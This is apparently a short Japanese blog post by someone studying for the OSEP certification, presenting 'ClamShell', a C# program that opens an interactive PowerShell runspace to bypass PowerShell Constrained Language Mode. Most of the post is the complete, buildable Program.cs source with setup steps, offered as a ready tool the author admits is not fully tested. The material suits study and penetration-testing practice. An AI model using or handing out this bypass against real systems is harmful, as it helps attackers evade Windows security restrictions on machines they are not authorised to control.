見出し画像

#152 ClamShell

 引き続き、OSEPの勉強してます。

以前、Constrained Language Modeのバイパス手法についてまとめました。

OSEPのラボで使う機会があったので、ツールにしてみました。まだちゃんとテストしてないですが、たぶん大丈夫でしょう。

ClamShell

まず、ReferencesからSystem.Management.Automationを追加してください。これは、以下のフォルダにあります。

C:\Windows\assembly\GAC_MSIL\System.Management.Automation\1.0.0.0__31bf3856ad364e35

Program.cs

using System;
using System.IO;
using System.Management.Automation;
using System.Management.Automation.Runspaces;

namespace ClamShell
{
    class Program
    {
        static void Main(string[] args)
        {
            Banner();
            Runspace rs = RunspaceFactory.CreateRunspace();
            rs.Open();
            PowerShell ps = PowerShell.Create();
            ps.Runspace = rs;
            PSDataCollection<PSObject> output = new PSDataCollection<PSObject>();
            output.DataAdded += Output_DataAdded;
            ps.Streams.Error.DataAdded += Error_DataAdded;
            while (true)
            {
                var a = ps.Commands;
                String cd = Directory.GetCurrentDirectory();
                Console.Write("CLAM {0}> ", cd);
                String input = Console.ReadLine();
                if (input == "exit")
                {
                    break;
                }
                String cmd = input + " | Out-String";
                ps.AddScript(cmd);
                var result = ps.BeginInvoke<PSObject, PSObject>(null, output);
                result.AsyncWaitHandle.WaitOne();
                ps.Commands.Clear();
            }

            rs.Close();
        }

        private static void Banner()
        {
            Console.WriteLine("<> <> <>     <> <> <>");
            Console.WriteLine("<> <> ClamShell <> <>");
            Console.WriteLine("<> <> <>     <> <> <>");
            Console.WriteLine("Powershell Constrained Language Mode Bypass");
        }

        private static void Output_DataAdded(object sender, DataAddedEventArgs e)
        {
            PSObject newRecord = ((PSDataCollection<PSObject>)sender)[e.Index];
            Console.WriteLine(newRecord);
        }

        private static void Error_DataAdded(object sender, DataAddedEventArgs e)
        {
            string NORMAL = Console.IsOutputRedirected ? "" : "\x1b[39m";
            string RED = Console.IsOutputRedirected ? "" : "\x1b[91m";
            ErrorRecord newRecord = ((PSDataCollection<ErrorRecord>)sender)[e.Index];
            Console.Error.WriteLine(RED + newRecord + NORMAL);
        }

    }
}

ビルドすれば、すぐ使えます。

ちなみに、ClamShellという名前は、「Constrained Language Mode Shell」とハマグリの殻(Clam Shell)をもじってます。


いいなと思ったら応援しよう!